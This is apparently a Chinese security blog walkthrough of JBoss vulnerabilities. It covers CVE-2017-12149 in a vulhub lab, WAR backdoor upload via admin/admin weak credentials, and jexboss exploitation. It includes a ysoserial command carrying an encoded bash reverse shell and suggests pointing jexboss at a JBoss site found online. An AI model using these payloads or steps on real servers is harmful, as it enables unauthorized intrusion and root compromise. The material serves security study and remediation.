jBoss中间件漏洞
jBoss简介
jBoss是一个基于J2EE的开发源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
这里直接复制了官方文档复现:https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-12149
该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
参考:
- https://mp.weixin.qq.com/s/zUJMt9hdGoz1TEOKy2Cgdg
- https://access.redhat.com/security/cve/cve-2017-12149
测试环境
运行测试环境
1 | docker-compose up -d |
首次执行时会有1~3分钟时间初始化,初始化完成后访问http://your-ip:8080/
即可看到JBoss默认页面。
漏洞复现
该漏洞出现在/invoker/readonly
请求中,服务器将用户提交的POST内容进行了Java反序列化:
所以,我们用常规Java反序列化漏洞测试方法来复现该漏洞。
编写反弹shell的命令
我们使用bash来反弹shell,但由于Runtime.getRuntime().exec()
中不能使用管道符等bash需要的方法,我们需要用进行一次编码。
工具:http://www.jackson-t.ca/runtime-exec-payloads.html
序列化数据生成
使用ysoserial来复现生成序列化数据,由于Vulhub使用的Java版本较新,所以选择使用的gadget是CommonsCollections5:
1 | java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS8yMSAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser |
发送POC
生成好的POC即为poc.ser,将这个文件作为POST Body发送至/invoker/readonly即可:
成功反弹shell:
EXP
网上已经有很多EXP了,比如DeserializeExploit.jar
3 漏洞修复
有效解决方案:升级到JBOSS AS7版本临时解决方案:
1)不需要http-invoker.sar 组件的用户可直接删除此组件;
2)用于对 httpinvoker 组件进行访问控制。
war后门文件部署
1.漏洞原理
jBoss后台管理页面存在弱口令,通过爆破获得账号密码。登陆后台上传包含后门的war包。
弱口令/未授权访问:
admin/admin
2、 漏洞复现
点击Web Application(war)s。
点击add a new resource。
选择一个war包上传,上传后,进入该war包,点击start。
查看status为sucessful。
访问该war包页面,进入后门。
可进行文件管理和系统命令执行。
使用kali复现
参考链接:https://blog.csdn.net/u011215939/article/details/79141624
所需工具:kallinux,jexboss,
获取工具:打开kalilinux,在kali终端中输入以下命令:
下载完成
运行 python jexboss.py
检验是否能够执行,可以执行就是如下:
找一个jboos的网站,如图所示
将这个IP:8080复制到kalilinux中使用jexboss工具进行检测;
执行,工具会依次检测一下项目,有漏洞就会显示红色的:VULNERABLE(易受攻击的),工具就会根据找到容易受到攻击的点,进行利用
然后选择yes,开始创建连接;
返回信息显示连接成功了;
现在获取了shell,开始执行shell命令了;返回的信息显示,这是一个linux操作系统;
执行几条命令看看; root权限
参考文章:
https://www.bbsmax.com/A/WpdK3MwrdV/
Author: Shu1L
Link: https://shu1l.github.io/2020/04/03/jboss-zhong-jian-jian-lou-dong/
License: 知识共享署名-非商业性使用 4.0 国际许可协议